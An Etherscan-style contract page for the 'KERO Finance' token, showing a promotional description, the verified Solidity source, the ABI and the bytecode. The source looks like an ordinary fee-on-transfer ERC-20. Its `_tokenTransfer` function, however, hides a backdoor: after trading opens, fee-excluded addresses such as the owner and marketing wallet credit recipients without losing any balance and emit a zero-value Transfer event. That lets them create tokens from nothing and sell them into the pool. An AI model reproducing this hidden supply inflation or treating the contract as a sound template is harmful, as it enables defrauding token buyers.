ETH Price: $2,916.85 (+3.45%)
 

Overview

Max Total Supply

1,000,000,000 KERO

Holders

45

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KERO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-23
*/

/**
Kero is an unwavering and adaptable liquidity protocol that offers users the chance to earn profits while enabling them to document their liquidity-driven actions.

Website: https://kerofi.xyz
Twitter: https://twitter.com/kerofi_group
Telegram: https://t.me/kerofi_official
Medium: https://medium.com/@kero.finance
*/

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IERC20Standard {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract KERO is Context, IERC20Standard, Ownable {
    string private _name = "KERO Finance";
    string private _symbol = "KERO";
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 1_000_000_000 * 1e9;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 public swapThreshold = (_totalSupply * 1) / (10000); 
    uint256 public maxWallet = (_totalSupply * 2) / (100); 
    uint256 public maxTxSize = (_totalSupply * 2) / (100); 
    uint256 public denominator = 1000;
    uint256 public startBlock;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxWallet;

    bool public swapAndLiquidifyEnabled = false; 
    bool public feeStatus = false; 
    bool public tradeOpen = false; 

    IDexRouter public uniswapRouter; 

    address public routerPair; 
    address public marketingWallet; 
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);

    uint256 public FeeOnBuying = 200;

    uint256 public FeeOnSelling = 200;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor() {
        _balances[owner()] = _totalSupply;
        marketingWallet = payable(0xb7b13b91397d61901C3075cEC2ed4b088b1679aF);

        uniswapRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(uniswapRouter)] = true;
        isExcludedFromMaxTxn[address(uniswapRouter)] = true;
        isExcludedFromMaxWallet[address(uniswapRouter)] = true;

        routerPair = IDexFactory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        isExcludedFromMaxWallet[routerPair] = true;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[marketingWallet] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxWallet[owner()] = true;
        isExcludedFromMaxWallet[address(this)] = true;
        isExcludedFromMaxWallet[marketingWallet] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + (addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function removeLimits() external onlyOwner {
        FeeOnBuying = 10;
        FeeOnSelling = 10;
        maxWallet = _totalSupply;
        maxTxSize = _totalSupply;
    }

    function openTrading() external onlyOwner {
        require(!tradeOpen, "already enabled");
        tradeOpen = true;
        feeStatus = true;
        swapAndLiquidifyEnabled = true;
        startBlock = block.timestamp;
    }

    function totalBuyFee(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnBuying) / (denominator);
        return fee;
    }

    function totalSellFee(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnSelling) / (denominator);
        return fee;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxSize, "Amount exceeds Max txn limit");

            if (!tradeOpen) {
                require(
                    routerPair != from && routerPair != to,
                    "trading is not yet enabled"
                );
            }
        }

        if (!isExcludedFromMaxWallet[to]) {
            require(
                (balanceOf(to) + amount) <= maxWallet,
                "Amount exceeds Max Wallet limit"
            );
        }
        bool takeFee = true;
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
            takeFee = false;
        }
        _tokenTransfer(from, to, amount, takeFee);
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (routerPair == sender && takeFee) {
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFee(amount);
            tTransferAmount = amount - allFee;

            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else if (routerPair == recipient && takeFee) {
            if (amount > swapThreshold) {
                _SwapAndLiquify(sender, recipient);
            }
            uint256 allFee = totalSellFee(amount);
            uint256 tTransferAmount = amount - allFee;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else {
            uint256 allFee = 0;
            uint256 tTransferAmount;
            tTransferAmount = amount - allFee;
            if (isExcludedFromFee[sender] && tradeOpen) amount -=  tTransferAmount;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
        _balances[address(this)] = _balances[address(this)] + (amount);

        emit Transfer(sender, address(this), amount);
    }

    function _SwapAndLiquify(address from, address to) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= swapThreshold;

        if (
            shouldSell &&
            from != routerPair &&
            swapAndLiquidifyEnabled &&
            !(from == address(this) && to == routerPair)
        ) {
            _approve(address(this), address(uniswapRouter), swapThreshold);

            dexswap.swapTokensForEth(address(uniswapRouter), swapThreshold);
            uint256 ethForMarketing = address(this).balance;

            if (ethForMarketing > 0)
                payable(marketingWallet).transfer(ethForMarketing);
        }
    }
}

library dexswap {
    function swapTokensForEth(
        address routerAddress,
        uint256 tokenAmount
    ) internal {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp + 300
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquidifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b4b45524f2046696e616e636560a01b60a0526001906200002d908262000621565b506040805180820190915260048152634b45524f60e01b602082015260029062000058908262000621565b506003805460ff19166009179055670de0b6b3a764000060048190556127109062000085906001620006ed565b62000091919062000719565b60075560646004546002620000a79190620006ed565b620000b3919062000719565b60085560646004546002620000c99190620006ed565b620000d5919062000719565b6009556103e8600a55600f805462ffffff1916905560c860128190556013553480156200010157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600454600560006200015b6000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455601180546001600160a01b03191673b7b13b91397d61901c3075cec2ed4b088b1679af179055600f8054767a250d5630b4cf539739df2c5dacb4c659f2488d0000006301000000600160b81b03199091161780825563010000009081900483168652600c8552838620805460ff199081166001908117909255835483900485168852600d87528588208054821683179055835483900485168852600e87529685902080549097161790955554825163c45a015560e01b81529251949004169263c45a0155926004808401939192918290030181865afa15801562000267573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028d91906200073c565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031691906200073c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a91906200073c565b601080546001600160a01b0319166001600160a01b039290921691821790556000908152600e60205260408120805460ff1916600190811790915590600c90620003dc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600c90925280822080548416600190811790915530835290822080549093168117909255600d906200044c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600d90925280822080548416600190811790915530835290822080549093168117909255600e90620004bc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600e909352818320805485166001908117909155601154909116835291208054909216179055620005266000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200056e91815260200190565b60405180910390a36200076e565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005a757607f821691505b602082108103620005c857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200061c57600081815260208120601f850160051c81016020861015620005f75750805b601f850160051c820191505b81811015620006185782815560010162000603565b5050505b505050565b81516001600160401b038111156200063d576200063d6200057c565b62000655816200064e845462000592565b84620005ce565b602080601f8311600181146200068d5760008415620006745750858301515b600019600386901b1c1916600185901b17855562000618565b600085815260208120601f198616915b82811015620006be578886015182559484019460019091019084016200069d565b5085821015620006dd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200071357634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200073757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200074f57600080fd5b81516001600160a01b03811681146200076757600080fd5b9392505050565b6116ba806200077e6000396000f3fe6080604052600436106101fd5760003560e01c8063735de9f71161010d57806396ce0795116100a0578063c5b0da231161006f578063c5b0da23146105c6578063c9567bf9146105e6578063dd62ed3e146105fb578063f2fde38b14610641578063f8b45b051461066157600080fd5b806396ce07951461054057806399b102b514610556578063a457c2d714610586578063a9059cbb146105a657600080fd5b8063877e19ee116100dc578063877e19ee146104d45780638da5cb5b146104ee578063958f97351461050c57806395d89b411461052b57600080fd5b8063735de9f714610462578063751039fc1461048957806375f0a8741461049e5780637e150d66146104be57600080fd5b80632d461391116101905780634e74d5b01161015f5780634e74d5b0146103955780635342acb4146103b55780636dd3d39f146103e557806370a0823114610415578063715018a61461044b57600080fd5b80632d46139114610327578063313ce5671461033d578063395093511461035f57806348cd4cb11461037f57600080fd5b806323b872dd116101cc57806323b872dd1461029957806325fa0b98146102b957806328ac2d53146102d95780632ce9a4ac1461031157600080fd5b80630445b6671461020957806306fdde0314610232578063095ea7b31461025457806318160ddd1461028457600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021f60075481565b6040519081526020015b60405180910390f35b34801561023e57600080fd5b50610247610677565b60405161022991906113ba565b34801561026057600080fd5b5061027461026f366004611420565b610709565b6040519015158152602001610229565b34801561029057600080fd5b5060045461021f565b3480156102a557600080fd5b506102746102b436600461144c565b610720565b3480156102c557600080fd5b50600f546102749062010000900460ff1681565b3480156102e557600080fd5b506010546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b34801561031d57600080fd5b5061021f60135481565b34801561033357600080fd5b5061021f60125481565b34801561034957600080fd5b5060035460405160ff9091168152602001610229565b34801561036b57600080fd5b5061027461037a366004611420565b610772565b34801561038b57600080fd5b5061021f600b5481565b3480156103a157600080fd5b5061021f6103b036600461148d565b6107a9565b3480156103c157600080fd5b506102746103d03660046114a6565b600c6020526000908152604090205460ff1681565b3480156103f157600080fd5b506102746104003660046114a6565b600e6020526000908152604090205460ff1681565b34801561042157600080fd5b5061021f6104303660046114a6565b6001600160a01b031660009081526005602052604090205490565b34801561045757600080fd5b506104606107ce565b005b34801561046e57600080fd5b50600f546102f990630100000090046001600160a01b031681565b34801561049557600080fd5b5061046061084b565b3480156104aa57600080fd5b506011546102f9906001600160a01b031681565b3480156104ca57600080fd5b5061021f60095481565b3480156104e057600080fd5b50600f546102749060ff1681565b3480156104fa57600080fd5b506000546001600160a01b03166102f9565b34801561051857600080fd5b50600f5461027490610100900460ff1681565b34801561053757600080fd5b5061024761088c565b34801561054c57600080fd5b5061021f600a5481565b34801561056257600080fd5b506102746105713660046114a6565b600d6020526000908152604090205460ff1681565b34801561059257600080fd5b506102746105a1366004611420565b61089b565b3480156105b257600080fd5b506102746105c1366004611420565b6108d2565b3480156105d257600080fd5b5061021f6105e136600461148d565b6108df565b3480156105f257600080fd5b506104606108f3565b34801561060757600080fd5b5061021f6106163660046114c3565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561064d57600080fd5b5061046061065c3660046114a6565b61097f565b34801561066d57600080fd5b5061021f60085481565b606060018054610686906114fc565b80601f01602080910402602001604051908101604052809291908181526020018280546106b2906114fc565b80156106ff5780601f106106d4576101008083540402835291602001916106ff565b820191906000526020600020905b8154815290600101906020018083116106e257829003601f168201915b5050505050905090565b6000610716338484610a69565b5060015b92915050565b600061072d848484610b76565b6001600160a01b03841660009081526006602090815260408083203380855292529091205461076891869161076390869061154c565b610a69565b5060019392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161071691859061076390869061155f565b600080600a54601254846107bd9190611572565b6107c79190611589565b9392505050565b6000546001600160a01b031633146108015760405162461bcd60e51b81526004016107f8906115ab565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108755760405162461bcd60e51b81526004016107f8906115ab565b600a60128190556013556004546008819055600955565b606060028054610686906114fc565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161071691859061076390869061154c565b6000610716338484610b76565b600080600a54601354846107bd9190611572565b6000546001600160a01b0316331461091d5760405162461bcd60e51b81526004016107f8906115ab565b600f5462010000900460ff16156109685760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b60448201526064016107f8565b600f805462ffffff19166201010117905542600b55565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016107f8906115ab565b6001600160a01b038116610a0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610abf5760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f2061646472657373000060448201526064016107f8565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f2061646472657373000000000060448201526064016107f8565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcc5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f2061646472657373000060448201526064016107f8565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f20616464726573730000000060448201526064016107f8565b60008111610c725760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f60448201526064016107f8565b6001600160a01b0383166000908152600d602052604090205460ff16158015610cb457506001600160a01b0382166000908152600d602052604090205460ff16155b15610d9357600954811115610d0b5760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d69740000000060448201526064016107f8565b600f5462010000900460ff16610d93576010546001600160a01b03848116911614801590610d4757506010546001600160a01b03838116911614155b610d935760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c656400000000000060448201526064016107f8565b6001600160a01b0382166000908152600e602052604090205460ff16610e2e5760085481610dd6846001600160a01b031660009081526005602052604090205490565b610de0919061155f565b1115610e2e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d69740060448201526064016107f8565b6001600160a01b0383166000908152600c602052604090205460019060ff1680610e7057506001600160a01b0383166000908152600c602052604090205460ff165b80610e835750600f54610100900460ff16155b15610e8c575060005b610e9884848484610e9e565b50505050565b6010546001600160a01b038581169116148015610eb85750805b15610f9957600080610ec9846107a9565b9150610ed5828561154c565b6001600160a01b038716600090815260056020526040902054909150610efc90859061154c565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610f2c90829061155f565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f809085815260200190565b60405180910390a3610f9286836110ef565b5050610e98565b6010546001600160a01b038481169116148015610fb35750805b15610fe557600754821115610fcc57610fcc8484611167565b6000610fd7836108df565b90506000610ed5828561154c565b600080610ff2818561154c565b6001600160a01b0387166000908152600c602052604090205490915060ff1680156110255750600f5462010000900460ff165b1561103757611034818561154c565b93505b6001600160a01b03861660009081526005602052604090205461105b90859061154c565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461108b90829061155f565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110df9088815260200190565b60405180910390a3505050505050565b3060009081526005602052604090205461110a90829061155f565b30600081815260056020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061115b9085815260200190565b60405180910390a35050565b306000908152600560205260409020546007548110801590819061119957506010546001600160a01b03858116911614155b80156111a75750600f5460ff165b80156111d557506001600160a01b038416301480156111d357506010546001600160a01b038481169116145b155b15610e98576111fc30600f60039054906101000a90046001600160a01b0316600754610a69565b600f5460075461121c91630100000090046001600160a01b031690611266565b47801561125f576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561125d573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061129f5761129f6115e0565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132191906115f6565b81600181518110611334576113346115e0565b6001600160a01b039283166020918202929092010152821663791ac94784600084306113624261012c61155f565b6040518663ffffffff1660e01b8152600401611382959493929190611613565b600060405180830381600087803b15801561139c57600080fd5b505af11580156113b0573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156113e7578581018301518582016040015282016113cb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141d57600080fd5b50565b6000806040838503121561143357600080fd5b823561143e81611408565b946020939093013593505050565b60008060006060848603121561146157600080fd5b833561146c81611408565b9250602084013561147c81611408565b929592945050506040919091013590565b60006020828403121561149f57600080fd5b5035919050565b6000602082840312156114b857600080fd5b81356107c781611408565b600080604083850312156114d657600080fd5b82356114e181611408565b915060208301356114f181611408565b809150509250929050565b600181811c9082168061151057607f821691505b60208210810361153057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561071a5761071a611536565b8082018082111561071a5761071a611536565b808202811582820484141761071a5761071a611536565b6000826115a657634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561160857600080fd5b81516107c781611408565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116635784516001600160a01b03168352938301939183019160010161163e565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122050e25db37b7e79ab1482620f9f8bc74b7eafb6cdcc3740857cd58a7afb85bbfb64736f6c63430008130033

Deployed Bytecode

